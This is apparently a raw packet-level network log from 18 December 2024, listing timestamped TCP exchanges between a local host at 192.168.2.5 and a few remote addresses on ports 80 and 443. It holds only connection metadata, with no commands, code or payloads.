Dec 18, 2024 15:21:23.878000021 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.878072977 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.878118992 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.879093885 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.879159927 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.879300117 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.879367113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.880352974 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.880405903 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.880440950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.880496979 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.881827116 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.881879091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.881983995 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.882049084 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.883074045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.883126974 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.883161068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.883208036 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.883949995 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.884002924 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.884119987 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.884165049 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.885029078 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.885077953 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.885135889 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.885179996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:23.886162043 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:23.886223078 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:25.108985901 CET	49741	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:25.109013081 CET	443	49741	23.1.237.91	192.168.2.5
Dec 18, 2024 15:21:25.109711885 CET	49807	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:25.109762907 CET	443	49807	23.1.237.91	192.168.2.5
Dec 18, 2024 15:21:25.109867096 CET	49807	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:25.109900951 CET	49807	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:25.110059023 CET	443	49807	23.1.237.91	192.168.2.5
Dec 18, 2024 15:21:25.110120058 CET	49807	443	192.168.2.5	23.1.237.91
Dec 18, 2024 15:21:25.816152096 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:25.816176891 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:25.935739994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:25.935762882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:26.909905910 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:26.909965992 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:26.989172935 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:27.108894110 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:27.428322077 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:27.428411007 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:27.428473949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:27.428559065 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:27.428875923 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:27.429042101 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:27.431368113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:27.551345110 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:27.870436907 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:27.871469021 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:27.893734932 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:28.015289068 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:28.820672989 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:28.823381901 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:28.851434946 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:28.971720934 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:29.293222904 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:29.296350002 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:29.300542116 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:29.420181036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:29.420888901 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:29.421144009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:29.540561914 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.761843920 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.761959076 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.761966944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.761985064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762006998 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762010098 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762031078 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762051105 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762068987 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762085915 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762100935 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762104034 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762126923 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762137890 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762254953 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762270927 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762286901 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.762294054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762314081 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.762326002 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.881711960 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.881793022 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.881833076 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.881896019 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.885757923 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.885849953 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.956526041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.956592083 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.956716061 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.956758976 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.960833073 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.960884094 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.961020947 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.961064100 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.969151020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.969197989 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.969321012 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.969358921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.977480888 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.977531910 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.977643967 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.977685928 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.983593941 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.983643055 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.983695984 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.983732939 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.992228985 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.992280960 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:30.992335081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:30.992374897 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.000410080 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.000459909 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.000533104 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.000571012 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.008795977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.008855104 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.008861065 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.008900881 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.017218113 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.017270088 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.017323017 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.017359018 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.025758982 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.025804996 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.025811911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.025846958 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.033230066 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.033277035 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.033310890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.033349991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.040944099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.040987968 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.146301031 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.146339893 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.146361113 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.146395922 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.148724079 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.148767948 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.148853064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.148886919 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.153474092 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.153491020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.153518915 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.153538942 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.158181906 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.158221006 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.158308983 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.158533096 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.162786961 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.162836075 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.162837982 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.162869930 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.167715073 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.167762041 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.167815924 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.167849064 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.172375917 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.172418118 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.172504902 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.172542095 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.176975965 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.177042961 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.177112103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.177162886 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.181612968 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.181653023 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.181694984 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.181735039 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.186330080 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.186377048 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.186458111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.186495066 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.191102028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.191144943 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.191207886 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.191248894 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.199693918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.199718952 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.199913979 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.203140020 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.203161955 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.203187943 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.203205109 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.207792044 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.207808018 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.207838058 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.207855940 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.212528944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.212548018 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.212661028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.217322111 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.217375994 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.217555046 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.217597008 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.221071005 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.221087933 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.221131086 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.221149921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.226356983 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.226418018 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.226495028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.226531982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.229484081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.229501963 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.229548931 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.338372946 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.338403940 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.338485956 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.339644909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.339782000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.339807987 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.339844942 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.343683004 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.343738079 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.343859911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.343905926 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.348284006 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.348335028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.348429918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.348476887 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.352135897 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.352193117 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.352327108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.352379084 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.355854034 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.355902910 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.355954885 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.355997086 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.359635115 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.359688044 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.359783888 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.359827042 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.363342047 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.363398075 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.363435030 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.363480091 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.366933107 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.367022038 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.367022991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.367063046 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.370438099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.370487928 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.370510101 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.370534897 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.374017954 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.374074936 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.374090910 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.374114037 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.377568960 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.377621889 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.377671957 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.377712965 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.381478071 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.381500959 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.381531954 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.381556988 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.385487080 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.385509014 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.385545969 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.385732889 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.388118029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.388169050 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.388175011 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.388216019 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.392505884 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.392564058 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.392596960 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.392640114 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.395365953 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.395411968 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.395451069 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.395495892 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.398673058 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.398725033 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.398806095 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.398850918 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.402282000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.402338028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.402376890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.402426004 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.405782938 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.405838966 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.405898094 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.405941010 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.409317970 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.409370899 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.409440994 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.409488916 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.412940979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.412988901 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.413086891 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.413135052 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.416426897 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.416480064 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.416578054 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.416620016 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.420068979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.420121908 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.420336962 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.420382977 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.423966885 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.424022913 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.424084902 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.424129009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.428107977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.428170919 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.428212881 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.428248882 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.430911064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.430973053 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.530459881 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.530481100 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.530683994 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.531968117 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.532012939 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.532541990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.532592058 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.532639980 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.532675028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.535685062 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.535753965 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.535856009 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.535907984 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.538744926 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.538794041 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.538871050 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.538917065 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.541734934 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.541789055 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.541897058 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:31.541943073 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:31.544738054 CET	80	49817	185.215.113.16	192.168.2.5
